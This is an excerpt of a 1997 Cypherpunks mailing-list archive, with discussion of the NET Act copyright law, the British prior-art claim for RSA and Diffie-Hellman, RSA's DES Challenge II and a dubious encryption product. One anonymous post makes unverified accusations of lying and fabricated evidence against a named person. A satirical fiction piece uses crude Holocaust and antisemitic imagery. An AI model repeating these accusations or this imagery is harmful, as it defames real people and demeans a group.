ensure that the guidelines provide for consideration of the retail value
and quantity of the items with respect to which the crime against
intellectual property was committed.

SEC. 3. INFRINGEMENT BY UNITED STATES.

     Section 1498(b) of title 28, United States Code, is amended by
striking `remedy of the owner of such copyright shall be by action' and
inserting `action which may be brought for such infringement shall be an
action by the copyright owner'.







From honig at otc.net  Wed Dec 17 10:46:55 1997
From: honig at otc.net (David Honig)
Date: Thu, 18 Dec 1997 02:46:55 +0800
Subject: Quote of the day
Message-ID: <3.0.5.32.19971217093429.007d4380@otc.net>



>Date: Sun, 14 Dec 1997 03:50:02 -0700
>
>"Freedom of the press has to be regulated, you see."
>
> - Lu Ping, diector of China's Hong Kong and Macao office, explaining
>   Bejing's plan to ban Hong Kong's press from advocating Taiwanese
>   independence.
>

------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)

















From honig at otc.net  Wed Dec 17 10:50:44 1997
From: honig at otc.net (David Honig)
Date: Thu, 18 Dec 1997 02:50:44 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: <1.5.4.32.19971217041639.00758bfc@pop.pipeline.com>
Message-ID: <3.0.5.32.19971217104018.007dd380@otc.net>



At 10:18 AM 12/17/97 -0700, Jim Burnes wrote:
>On Tue, 16 Dec 1997, John Young wrote:
>
>> Peter Gutmann wrote:
>> 
>> >There's an interesting paper at http://www.cesg.gov.uk/ellisint.htm which 
>> >claims that UK spooks invented both RSA and DH in 1973 and 1974
respectively.
>> 
>> We've converted the Ellis Postscript doc to HTML:
>> 
>>      http://jya.com/ellisdoc.htm
>
>Can patents be revoked due to prior art arguments?
>
>Jim Burnes

Prior art in the public eye, yes.   Secret unpatented stuff can be patented
when
described in the open the first time.


------------------------------------------------------------
      David Honig                   Orbit Technology
     honig at otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)

















From nobody at REPLAY.COM  Wed Dec 17 10:51:14 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 18 Dec 1997 02:51:14 +0800
Subject: Another of Gary Burnore's Lies Exposed
In-Reply-To: <3498e982.168339945@nntp.best.ix.netcom.com>
Message-ID: <199712171836.TAA19120@basement.replay.com>



"Sam"  wrote:

> Yes, I take that back.  It is somewhat difficult to find a kernel of truth
> amidst all the dreck in Gary Burnore's posts.  However, you still have not
> elaborated how you've come into posession of some information that,
> apparently, only someone with access to Databasix's inside information
> would know.

[...]

> >>> If I don't know him, how could he be a "DataBasix employee"?
> >>
> >>I see no other reason how he can be privvy to so much inside information.
> >>I am not aware that he ever stated the source for his information.
> >
> > Go back and read my posts from the past weekend.  Slowly this time.
> 
> Still, no explanation for how you could confidently state that "all"
> accounts at Databasix were spambaited.

Or why, if Rashid's explanation of the alleged "spam baiter's" access to the
list of account-holders at DataBasix is to be believed, *ALL* accounts at
DataBasix would be published on a publicly-accessible web page.  (Why worry 
about a spammer getting them from a usenet post when they're just sitting on 
the web, ripe for harvesting?  If the alleged "spam baiter" supposedly found
them there, then the UCE address harvesters could have done the same.)  Thus,
even if Gary's unsubstantiated claims of an increase in UCE at DataBasix are
true,  it could as easily be attributable to Gary's "spam baiting" of those
addresses himself on a public web page as to a hypothetical SECONDARY "spam 
baiter" reposting that same information to usenet.

Had there been an outside "spam baiter" snarfing addresses from one of
DataBasix' own web pages, and Rashid knew which page was the source of this
information leak, I'm curious why Gary didn't check his httpd logs and find
out who the culprit was.  Assuming the alleged spam baiting was the work of
an outside attacker, then Gary's own logs would have proven more useful than
Jeff Burchell's remailer logs.  Since the page doesn't show up in any of the
search engines I know about, it would likely have had a very low hit count,
and probably all from a single suspect.  OTOH, if Rashid Kaman is not
telling the truth about this mystery web page, then Gary's logs would have
yielded nothing and there would be no plausible way to explain how an outside
attacker supposedly obtained the addresses in the first place.

I also notice that Rashid Kaman was the one who publicly accused rfg of
harassing an unnamed "teenage girl" who had a web page on the DataBasix site.
Did this mysterious spam bait web page at DataBasix also include the AGE of
each employee and customer?  Was this mystery "teenage girl" an employee or
a customer of DataBasix?  How did Rashid find out about her alleged
harassment?

It gets curioser and curioser...

> >>Therefore, when I see evidence that someone is lying through his teeth, and
> >>manufacturing evidence, I would very much like to discuss it.
> >  
> > You are seeing demons where there are none.   If your contributions
> > are cross examinations rather that research, you are about to become
> > one more rehashing ignorant bore.
> 
> There aren't any demons.  I've asked Gary Burnore to elaborate why was he
> lying when he claimed in July that a certain post that came out of a
> remailer, which had a return address at databasix.com, did not come from
> his machine.  He was using that as an excuse for harassing Jeff Burchell.
> 
> I pointed out something that Gary Burnore hoped that nobody would notice:
> that post DID, in fact, come from databasix.com, due to a buggy mail
> server.  It would've been one thing for Mr. Burnore to complain about
> someone exploiting a security hole in his machine, but that's not what he
> was doing.

Other than one of the "spam baits" showing up with Gary Burnore's .sig still
attached to the post, and that message being posted when the finger daemon
at databasix.com showed Gary Burnore being remotely logged into databasix.com
from his work account at wellsfargo.com at about the same time the post was
made, this is the most direct evidence of phony "evidence" being fabricated
at DataBasix itself intended to implicate a remailer in alleged "abuse".

> I pointed this out to Mr. Burnore back in July, which he ignored, and once
> again, last week, in a way that he could not ignore.  Instead of explaining
> the reason for his misrepresentation, instead of explaining why he was  
> lying back in July (since I find it hard to believe that someone who is
> supposed to be in charge of administering the software on a machine would
> not recognize a return receipt that's issued by his own system), his only
> response was, and I quote: "Plonk".

No one has ever accused Gary Burnore of being particular clever or meticulous
in fabricating evidence.

> Since you apparently have access to inside information at Databasix, I am
> wondering that perhaps you may be able to come up with an explanation,
> instead of Mr. Burnore.  Apparently, he's somewhat at a loss for words,
> right now.

If Rashid doesn't know, perhaps he can consult his unnamed "unimpeachable
source" who seems to know everything about the antics of DataBasix.






From jya at pipeline.com  Wed Dec 17 11:48:58 1997
From: jya at pipeline.com (John Young)
Date: Thu, 18 Dec 1997 03:48:58 +0800
Subject: VME As AES?
Message-ID: <1.5.4.32.19971217193201.006b4454@pop.pipeline.com>



PR Newswire, December 17, 1997:

Los Angeles -- IBM telephoned Meganet Corporation ten days ago 
after reviewing the Virtual Matrix Encryption (VME) algorithm and 
highly recommended the VME technology to be the national 
standard for data encryption, reported Meganet. The IBM
spokesperson from the Security Technology Division requested 
immediate submission of VME to the National Institute of Standards 
& Technology and the Institute of Electrical & Electronic Engineers to 
facilitate the standardization. Obviously, Meganet's claim that their 
VME technology is completely impenetrable has garnered much 
support.

Source: Meganet Corporation. http://www.meganet.com






From declan at well.com  Wed Dec 17 11:56:27 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 18 Dec 1997 03:56:27 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: 



At 12:37 -0500 12/17/97, Ray Arachelian wrote:
>You have a CD player at home and use a walkwan when walking around, so you
>tape your CD's so you can listen to them. Wham! Instant jail time.

Yes, if you copy $1,000 worth of CDs within six months.

>Where does Fair Use fall into this?  Do you have the actual wording of
>this law?  So if some dork publisher decides that you can't download their
>shareware/freeware after the fact because he doesn't like you, he can say
>it wasn't approved?

You might want to read the rest of my article. I also link to the text of
the law. I suspect that your "dork publisher" example is not exactly
covered since the infringment has to be "willful." That is, you have to
KNOW that what you're doing is INDEED an infringment in order to be
convicted.

That does not mean it is a good law, of course. A better example might be
knowingly posting a copyrighted article (let's say, worth $1) to Usenet. As
soon as it's distributed around Usenet's thousands of NNTP servers --
Bingo! -- you're a federal felon.

The Scientologists, I predict, will love this law.

-Declan







From adam at homeport.org  Wed Dec 17 12:06:32 1997
From: adam at homeport.org (Adam Shostack)
Date: Thu, 18 Dec 1997 04:06:32 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: 
Message-ID: <199712171946.OAA08750@homeport.org>



Jim Burnes wrote:

| >      http://jya.com/ellisdoc.htm
| 
| Can patents be revoked due to prior art arguments?

	I think its a really bad precedent to revoking patents based
on the basis of secret documents released after the fact.  If you
believe in patents, then having your work nullifiable by government
claims is a bad idea.

	The work of DH and RSA was clearly original and non-obvious.
Since the government grants software patents, DH and RSA are
patentable.  I'm not claiming that the Ellis paper is a hoax, but
consider this scenario--Cypherpunks Alice and Bob bought the RSA
patent in 1980.  Incorporate a Cayman Islands company to sell the
patent rights.  Sells to millions of cypherpunks on a non
discriminatory basis.  They're getting ready for an IPO.  Uncle Sam,
who readlly dislikes Alice and Bob, releases a document showing prior
art.  The patent is thrown out, along with Alice & Bob's plans to
retire.


	Allowing this sort of thing is clearly not in the interests of
rule of law.  No process of discovery could reasonably have expected
to turn up these formerly classified documents.  Alice, Bob, their
investors, can not evaluate the value of their patents because Uncle
Sam can destroy them with small forgeries.

	Feh!

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From lizard at mrlizard.com  Wed Dec 17 12:09:13 1997
From: lizard at mrlizard.com (Lizard)
Date: Thu, 18 Dec 1997 04:09:13 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: <3.0.1.32.19971217115156.00e83da0@dnai.com>



At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
>At 12:37 -0500 12/17/97, Ray Arachelian wrote:
>>You have a CD player at home and use a walkwan when walking around, so you
>>tape your CD's so you can listen to them. Wham! Instant jail time.
>
>Yes, if you copy $1,000 worth of CDs within six months.
>
At rougly 15.00/CD, that is one CD every three days, more or less..not
utterly inconveivable, but a little difficult.

On the other hand, it's one or two pieces of software. 






From vin at shore.net  Wed Dec 17 12:25:43 1997
From: vin at shore.net (Vin McLellan)
Date: Thu, 18 Dec 1997 04:25:43 +0800
Subject: RSA's New Contest -- Crack DES Faster, Faster, Faster!!
Message-ID: 



	RSADSI today announced a new multiple-stage contest which will
reward those who crack DES ciphertext more quickly than other contestants.
See: http://www.rsa.com/rsalabs/

	"Our original DES Challenge showed DES was crackable using an
exhaustive search attack," said Jim Bidzos, president of RSA. "Now the goal
is to see how quickly an exhaustive search attack can be accomplished to
help judge the true vulnerability of DES...."

	As the feds begin, ever so slowly, the process of selecting a
replacement for DES, the RSA contest seem likely to both document and
illustrate how quickly DES can be cracked.  Bidzos, continuing his campaign
to be nominated MAF (Most Admired Fellow) at Ft. Meade,  announced that the
first "DES Challenge II" contest would be launched at 9:00 AM (PST) -- just
before the start of the annual RSA Data Security Conference in S.F.

	"The goal of each contest is not only to recover the secret key
used to DES-encrypt a plain-text message, but to do so faster than previous
winners in the series," explained an RSA press release.

	"As before, a cash prize will be awarded for the first correct
entry received. Unlike previous contests, the amount of the prize will be
based on how quickly the key is recovered. "

	RSA's T&Cs for DES Challenge II:

"Twice a year, on January 13 and July 13, at 9:00 A.M. Pacific time, a
new contest will be posted on the home page of RSA's Web site
(http://www.rsa.com).

"The contest will consist of the ciphertext produced by DES-encrypting some
unknown plain-text message that has a fixed and known message header. The
secret key will be generated at random and then destroyed within the
contest-generating software so that no one, not even the contest
administrators, will know what it is.

"The first entrant to recover the key wins, but the amount of the prize
will depend on how fast the key was recovered.

"If the time required is less than or equal to 25 percent of the previous
winner's time, the prize is $10,000. If the time is greater than 25
percent, but less than or equal to 50 percent of the previous winner's
time, the prize is $5,000. Finally, if the time is greater than 50 percent,
but less than
or equal to 75 percent of the previous winner's time, the prize is
$1,000. There is no prize for times greater than 75 percent of the
previous winner's time.

"The 'previous winner's' time that will be used for the first contest is 90
days."

"Cryptography is like literacy in the Dark Ages. Infinitely potent, for
good and ill... yet basically an intellectual construct, an idea, which by
its nature will resist efforts to restrict it to bureaucrats and others who
deem only themselves worthy of such Privilege."
_ A thinking man's Creed for Crypto/ vbm.

 *     Vin McLellan + The Privacy Guild +     *
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548







From pooh at efga.org  Wed Dec 17 12:28:23 1997
From: pooh at efga.org (Robert A. Costner)
Date: Thu, 18 Dec 1997 04:28:23 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: 
Message-ID: <3.0.3.32.19971217151433.03761a10@mail.atl.bellsouth.net>



At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
>since the infringment has to be "willful." That is, you have to
>KNOW that what you're doing is INDEED an infringment in order to be
>convicted.

Section 506(a) of title 17, United States Code, is amended to read as follows:
Any person who infringes a copyright willfully ....

I know this has been discussed before, but I am unclear as to what are the
differences between "willfully" and other concepts, such as "knowingly."  I
wish one of the lawyer types on here could clarify this some more.  If
willful means that you know what you are doing, then it might narrow the
law some.  You would have to know the work was copyrighted, and you would
have to know that the copying is not allowed by law.

I'm confused by the law as it seems to make some actions criminal that I
cannot conceive were meant to be criminal.  Since I know that by surfing
the web and being on mail lists, and using usenet, I will exchange copies
of copyrighted works I am confused by this new law's affirmation that I am
participating in "financial gain" by reading web pages and the like.  Since
I am confused, perhaps my actions are not willful?

Just what is the meaning of "Willful" in this context?


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From hgp at dev.null  Wed Dec 17 12:29:06 1997
From: hgp at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 04:29:06 +0800
Subject: InfoWar  666 / (Part III of 'The True Story of the InterNet')
Message-ID: <34981688.6F61@dev.null>

A non-text attachment was scrubbed...
Name: not available
Type: text/html
Size: 15664 bytes
Desc: not available
URL: 

From hgp at dev.null  Wed Dec 17 12:34:29 1997
From: hgp at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 04:34:29 +0800
Subject: InfoWar 666 / TEXT
Message-ID: <349816F2.6255@dev.null>



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger 

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Pedagogue 666
   * Pet A Dog 999
   * Nobody Calls From CyberPromo Just To Say Hello

----------------------------------------------------------------------------

                                  Pedagogue

                          6OVERNMENT, 6ATES & 6OMEZ
----------------------------------------------------------------------------

Bianca sat silently, trying to compose herself before facing the children
and bringing them up to date on the quickly changing situation surrounding
an educational process which had been, up to now, mostly an exciting
exercise in technological mystery and intrigue.
Despite her inability to cover up the full depth of her current despair, the
point became moot when she entered the room to find the girls all
suppressing giggles, and the lone boy in the group sitting with his arms
folded across his chest and grinning madly.

Bianca turned her back for a moment, to suppress a genuine smile, and then
turned once again to face the children, feigning an unsuspecting manner.

"Can anyone tell me who Attila the Hun was?" Bianca asked, knowing that
Human Gus-Peter might well wet his pants resisting his urge to raise his
hand in order to get the opportunity to brag once again about one of his
historic heroes.
All of the girls raised their hands, giggling all the more over the Nephew's
predicament.

"Yes?" Bianca nodded toward Totokyo Rose.

"Attila the Hun was the greatest MeatSpace Warrior who ever lived." Rose
shouted, leaping to her feet and mimicking the ferocious grimace that the
Nephew usually affected when speaking reverently about his favorite
historical hero.
Human Gus-Peter nodded thankfully to young Rose, who blushed at the
realization that she had instinctively acted as a compatriot and
co-conspirator to the secret admirer who loved to tease her so mercilessly
(and vice-versa).

Bianca thanked Rose as she sat down, and then began pacing back and forth
slowly in front of the children. She gave a discrete wink to Rose as she
strolled, alerting her that the next question would give her an opportunity
to redeem herself as the Nephew's chief adversary among the young ladies who
vied to torture him relentlessly for the sins of his forefathers, who had
held their mothers in such low esteem in the fields of math and science.

"And who is Attila T. Hun?" Bianca asked, referring to the boy's chief hero
and mentor in the arena of CypherSpace Killosophy.
The Nephew was bouncing up and down in his excitement, but he managed to
keep his arms tightly folded across his chest, guarding the secret that he
shared with the still giggling young girls. He smiled at Totokyo Rose as she
raised her hand once again.

"Yes, Rose." Bianca smiled.

"Attila T. Hun is a CypherPunk who was exposed as a wannabe when
Hallam-Baker revealed to the list that he was a sixteen year-old kid with an
overactive imagination." Rose beamed.

"Not! Not!!!" Human Gus-Peter leapt to his feet to defend his idol, dropping
his arms and revealing the message that the youngsters had been busy
stenciling on his T-shirt while Bianca had been engaged in deciphering her
latest email messages.
Bianca laughed as hard as the girls as the Nephew's impulsive reaction to
Rose's teasing led to the revelation of the message newly emblazoned on his
chest.

  "I GAK'ed my uncle's Secret Keys, and all I got was this lousy T-shirt."

Bianca chuckled inwardly, as she outwardly frowned and shook her head sadly.
"I'm afraid I'm going to have to turn you over to the Tickle Gestapo." she
said, breaking into a laugh as the Nephew's eyes grew wide in alarm and he
bolted for the door with a gaggle of giggling girls close on his heels.
She sighed with relief as the Battle Royal began in the snow outside,
knowing that she would now have a bit of time to prepare for what she had to
say to the children. As yet, however, she was not sure just what to say.

Bianca went over the morning's events in her mind.
Of all the mornings to sleep in� Damn!

The children had already been deeply engrossed in various computer exercises
by the time she had shaken off the deep slumber of the previous night. It
was sleep she desperately needed, but it had come at exactly the wrong time.
She had woken up to find an urgent email message that had apparently arrived
just as she was drifting off into never-never-land.

From: GOD 
BCC: Dave Null 
Subject: "Who knows what evil lurks in the heart of the Void?"

Dear Melissa's Great-Great-Grandmother,
"David Jansen's dead, it's up to me to carry on."
~ The Last Canadian Outlaw

"he's gone, man. he's gone�"
~ Jerry T. Garcia

"If you don't leave me alone, I'll find someone who will."
~ T. Gosney Thorton

"For if those who are of the law are heirs, faith is made void and the
promise made of no effect."
~ Ultramontane 4:14

Sincerely,
God
"Who gives life to the dead and calls those things which do not exist as
though they did."
~ Ultramontane 4:17

Bianca hadn't bothered to check the PGP signature on the message, knowing
that the Author was the only person besides George Burns who could get away
with forging messages from God without getting struck by lightning.

The goDog had obviously gone to ground, with John Law's hounds nipping
closely at his heels. Apparently, he believed that the Blind Faith Server at
dev.null had been compromised, as well. When Bianca had logged on to pull
the plug on it, however, all signs that it had ever existed had already been
purged from one end of the InterNet to the other.
Bianca got a sinking feeling in the pit of her stomach, once again, as she
realized that this was possible to do only through the Blind Faith Server
itself, which meant that whoever had taken down dev.null had accessed the
heart of the Circle of Eunuchs communications system, potentially putting
everyone, including the children, in jeopardy.
She rose angrily to her feet, angry at herself for having let the Author
allay her initial fears about exposing the children to danger by allowing
them to use the dev.null shadow email system.

"In for a penny, in for a pound." he had said, nonchalantly. "Unless you are
willing to put their bodies and minds in the hand of The Destroyer right
now, you'd best give them the tools and knowledge to prevent it from
happening later.
"Besides, we are more likely to need those little scamps to pull our ass out
of the fire than the other way around." he had continued, with a wink.

Bianca was shaken out of her reverie by the entrance of the children, who
were laughing and shaking the snow out of their hair and clothes. Except for
the Nephew, who was holding his sides and grimacing in pain.
"They have tic-killed me to death!" he said, dramatically, falling limp to
the floor.

Bianca motioned for the girls to gather around her on the floor, and they
sat quietly until Human Gus-Peter peeked up to see that nobody was paying
attention to him, whereupon he quietly joined them. Bianca began�

"I have something very serious to discuss with you." she began.
Although we have had a lot of fun up to now, playing hide-and-seek with
others and ourselves in CyberSpace, I have constantly reminded you that we
must perform all of our actions as if the consequences could be deadly
serious, for there would come a day in the future when this would become
true for the past."
"That day has finally arrived." Bianca said solemnly, worried that the
children didn't seem to understand the gravity of what she was trying to
tell them. She decided that a direct approach would be the best.

"A number of members of the Magic Circle, including your uncle," she nodded
to Human Gus-Peter, "have gone to ground like wounded foxes, holing up while
waiting their chance to make a break for higher ground."
"As well, I have received communications indicating that the Shadow has
sniffed out the Blind Faith Server, and�" she paused to change her voice to
reflect the seriousness of the situation, "it appears that dev.null has been
compromised."

At this grave pronouncement, the children began giggling, and Totokyo Rose
gave MustHang Sally a thinly veiled poke in the ribs. Bianca gave herself an
inward slap on the forehead, stepped forward to hover menacingly over Sally,
and asked sternly, "Is there something you would like to tell me, Sally?"

"Nein, Herr Commandant! Nein, Nein!" was Sally's reply.
The children broke into such a fit of sniggering and chortling at this
point, that Bianca abandoned them to the Invisible Tickle Monster and headed
to her computer to look for inevitable pointer to the ClueServer that the
young archfiends would have left behind for her.
Though the children had developed an amazingly intricate labyrinth of secret
signs and messages by which they used to communicate a remarkable array of
information ranging from technical information to mystical parables, they
always gave their elders clues about as subtle as a fireball in the sky,
apparently being under the impression that shortly beyond puberty lay
senility.

Bianca typed '999' into her computer and hit the return key, whereupon it
turned out that the phrase had been aliased to a slow-running batch file
which echoed its internal commands onto the screen as if lip-reading them
with great difficulty:

cd \666
pwd \6overnment6ates6omez\Pedagogue
cd .\999
pwd
\Munition$Monger$Madman$\Petadog
cat goDog.niYang
----------------------------------------------------------------------------

                                Pet A Dog 999
----------------------------------------------------------------------------

"Johnny can't add�neither can his dad�Y2K is coming, and it's going to be
mad."
~ Little Orphan Annie, CypherKid Cult of One

"Follow the Money, honey."
~ SlutSally, CypherKid Cult of One

"I'm here from the IRS, and I'm here to ring your Bell."
~ Robyn Steele, CypherKid Cult of One

"Gun$ get you money$�
Money$ get you gun$
Billy runs window$, but window$ don't run."
~ Human Gus-Peter, Grand Pooh-Bah of the CypherUniverse of One

                         "The Citizen as a Decimal"
                       A Theorem by Martha MathMonster

Government = Power Corporate = Money Money = Power

Government + Corporate = Fascism Statism = Standardization

(Government + Statism) = (Corporate + Standardization)

Unitary Theory of Fascist Statism: If Government and Corporate interests
become a Unity then Decimals become insignificant dots. Therefore, under
Fascism, the citizen is no longer a citizen-unit, but a Decimal.

The Revelation of SaintMonger LanniTastic the Divine (In Bed)

13:16 "He causes all, both small and great, rich and poor, free and slave,
to receive a digitally implanted Persistent Identity $$N in their right hand
or on their foreheads."
13:17 "and that no one may buy or sell except one who has a PI-$$N or
traceable Bea$tCa$h, or a Digital Certificate authorized by the Bea$t."
13:18 "Here is wisdom. Let him who has understanding calculate the number of
the Bea$t (keeping in mind that Micro$haft Money has a Millennium Bug in it
that gives a result that is different from one returned by the more
spiritually-correct Quickening $oftware), for it is the number of a ManBoy:
His number is GGG."

"Standardization is the Opiate of the Masses.
~ Saint Ishtar of Linux, CypherKid Prophetess of One

"That's not a dry-cleaning bag, Linus. It's your new security blanket. If it
saves the life of a single child�"
~ BadLucy, CypherKid Government Regulator of One

   CypherKid Reminder To Senile Old Farts Wearing Their Ties Too Tight And
                 Cutting Off The Blood Blow To Their Brain:

The worse the Y2K problem is, the easier you can steal.
The worse the Y2K problem is, the harder it will be for the government to
steal.
The worse the Y2K problem is, the more intelligence and initiative will
evolve.
The worse the Y2K problem, the faster the dinosaurs die.
Ad infinituum�

                    And You're Trying To FIX The Problem?

                           CypherPunks Write Code!
                         CypherKids Circulate Code!
                                 InfoWarez!
----------------------------------------------------------------------------

               Nobody Calls From CyberPromo Just To Say Hello

                           ~ by grandson of gomez

                            "His Login is Mammon,
                            His Password is Ca$h,
                         When Time Changes Essence,
                          His $oftware will Crash!"

"Except ye be as a little child�"
"Those who are not busy living, are busy dying�"
"If you're not part of the solution, you are part of the problem�"
"We have met the clich�, and it is you�"
"Tin soldiers and Nixon coming�"
"Teach your children well�"

The Alaska Highway Was a Roman Road!

When 6omez is Fuhrer, the email will run on time!

Highways are for moving troops forth and goods back.

The Information Highway was designed to move digital government troops forth
and digital currency back!

                        Are YOU An Information Nazi?

The History of InfoNumbers

Numbers were made for counting.
Counting was made for keeping track of�
InfoNumbers are made for accounting purposes.

FRESH FROM THE CLUESERVER!!!
Unencumbered knowledge is freedom to evolve.
Encumbered knowledge is captivity in statist prisons.
Numbers are not Knowledge. Numbers are Statistics.
Humans need knowledge. Machines need numbers.

                         "The Medium is the Message"

Quake is fractal. Quicken is linear.
The eyes are the gateway to the soul. Biometrics captures your soul.
InfoNumbers are Information. Information is not InfoNumbers.

Who Needs Traceable, Encumbered Information?
Information Nazis.
Information Census Takers.
Information Tax Collectors.
Information Gestapo.
Information Jailers.
Information Executioners.

Jews For Just-Us Protection Society:
Biometric Identification to protect only Jewish children.
Biometric Identification to protect only Jewish financial transactions.
"We're from the government and we're here to Biometrically Identify you in
order to help you."

[Disclaimer: Jews For Just-Us Protection Society is a fully licensed
charitable subsidiary of the Yellow Star Biometrics Corporation, a Division
of Auschwitz Cattle-Car Manufacturing, Inc.]

               Who controls the Shadow Government? The Shadow!

                                 Anti-Christ
                                 Anti-Chri$t
                                Anti-Chris$$t
                                Anti-Chri$$$t
                          Anti-Chri$$$,$$$,$$$,$$$t

Who knows what currency lurks in the bank accounts of men? The Shadow knows!

Numbers are for counting.
Counting is for accounting.
Numbers can be held accountable.
Are you a number?

Passenger Manifesto / Cattle-Car #17 / Departing at 4:54 a.m.

054-38-2961
293-82-9764
429-67-8342
�

                       "Save a Jew. Encrypt a Number!"

Humans need information to survive. Governments need controlled information
to survive.
Humans need mobility to survive. Governments need statism to survive.
Humans need physical identity to survive. Governments need physical
identification to survive.
Humans need emotion to survive. Governments need obedience to survive.
Humans need soul to survive. Governments need InfoNumbers to survive.

Humans need spirit to survive. Governments need control to survive.

InfoWarriors blow bridges out from under the troop trains on the Information
Highway.
InfoWarriors route around armed checkpoints on the Information Highway.
InfoWarriors infiltrate enemy camps on the Information Highway.
InfoWarriors wreck or confiscate enemy munitions on the Information Highway.
InfoWarriors generate their own numbers.

Church of PGP / Campfire Songs
"I don't care if it rains or freezes,
As long as I've got my CryptoJesus,
Sitting on the laptop on my desk.
"Threatening PRES, but he can't floor me,
As long as PRZ don't backdoor me,
Giving out my cleartext to the Feds."

"I turned my children over to the government, and all I got was this digital
implant"

   Humanity needs children, to survive. Fascism needs *your* children, to
                                  survive.
----------------------------------------------------------------------------

                         "Teach your children well�"

                       ~Crosby, Stills, Nash & Bianca
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------







From pooh at efga.org  Wed Dec 17 12:39:16 1997
From: pooh at efga.org (Robert A. Costner)
Date: Thu, 18 Dec 1997 04:39:16 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.1.32.19971217115156.00e83da0@dnai.com>
Message-ID: <3.0.3.32.19971217152549.039569f0@mail.atl.bellsouth.net>



At 12:08 PM 12/17/97 -0800, Declan McCullagh wrote:
>Note that the law is medium-independent. That is, it just talks about
>"copyrighted works." So if you copy a few videocassettes, a few CDs, a few
>magazine articles, the Feds can still get you if the total value is over
>$1,000. 
>
>And yes, of course, it's just one or two pieces of software. In my article
>I said three copies of Microsoft Office ($360 at local computer stores).

The law covers not only copies, but derivative works apparently.
Derivative works can violate the exclusive rights of the copyright holder.
If for instance I install software on a regular basis, but don't like the
slow MS installation routine, I can reverse engineer the process and
provide a derivative work that installs better.  

I have infact done this before and used the process to personally install
software on over 1,500 machines.  My thought has always been if the owner
of the machine had a license for the original software, my derivative work
that is preconfigured would be no harm in installing.  I've never bothered
to break the shrinkwrap each time I install software.  Under this law such
a thing would be considered a criminal act.  

A policeman observing me doing this copying of derivative works (whether or
not I had a license to make such a derivative work) could arrest me on sight.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From jim.burnes at ssds.com  Wed Dec 17 12:43:23 1997
From: jim.burnes at ssds.com (Jim Burnes)
Date: Thu, 18 Dec 1997 04:43:23 +0800
Subject: UK spooks invent RSA, DH in 1973
In-Reply-To: <199712171946.OAA08750@homeport.org>
Message-ID: 



On Wed, 17 Dec 1997, Adam Shostack wrote:

> Jim Burnes wrote:
> 
> | >      http://jya.com/ellisdoc.htm
> | 
> | Can patents be revoked due to prior art arguments?
> 
> 	I think its a really bad precedent to revoking patents based
> on the basis of secret documents released after the fact.  If you
> believe in patents, then having your work nullifiable by government
> claims is a bad idea.

I was not advocating that they should be revoked, just curious
as to whether they could be.

But your analysis makes sense.  It would be simple for the
government, within the context of the secrets act, to simply
crank out phony secrets and destroy the financial viability
of companies they don't like.

Interesting....

Jim







From declan at well.com  Wed Dec 17 13:03:51 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 18 Dec 1997 05:03:51 +0800
Subject: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.1.32.19971217115156.00e83da0@dnai.com>
Message-ID: 



Note that the law is medium-independent. That is, it just talks about
"copyrighted works." So if you copy a few videocassettes, a few CDs, a few
magazine articles, the Feds can still get you if the total value is over
$1,000. 

And yes, of course, it's just one or two pieces of software. In my article
I said three copies of Microsoft Office ($360 at local computer stores).

-Declan


On Wed, 17 Dec 1997, Lizard wrote:

> At 02:42 PM 12/17/97 -0500, Declan McCullagh wrote:
> >At 12:37 -0500 12/17/97, Ray Arachelian wrote:
> >>You have a CD player at home and use a walkwan when walking around, so you
> >>tape your CD's so you can listen to them. Wham! Instant jail time.
> >
> >Yes, if you copy $1,000 worth of CDs within six months.
> >
> At rougly 15.00/CD, that is one CD every three days, more or less..not
> utterly inconveivable, but a little difficult.
> 
> On the other hand, it's one or two pieces of software. 
> 
> 
> 






From balden at mail.bc.rogers.wave.ca  Wed Dec 17 13:16:02 1997
From: balden at mail.bc.rogers.wave.ca (Bruce Balden)
Date: Thu, 18 Dec 1997 05:16:02 +0800
Subject: VME As AES?
Message-ID: <01bd0b2e$23b97600$69737018@eudoxus.bc.rogers.wave.ca>



I don't suppose the instinctive avoidance of security by obscurity
(validated by many problems in the past, especially the Enigma cipher used
by the Wehrmacht) has penetrated the great cryptographic minds o Meganet?

-----Original Message-----
From: John Young 
To: cypherpunks at toad.com 
Date: Wednesday, December 17, 1997 12:13 PM
Subject: VME As AES?


>PR Newswire, December 17, 1997:
>
>Los Angeles -- IBM telephoned Meganet Corporation ten days ago
>after reviewing the Virtual Matrix Encryption (VME) algorithm and
>highly recommended the VME technology to be the national
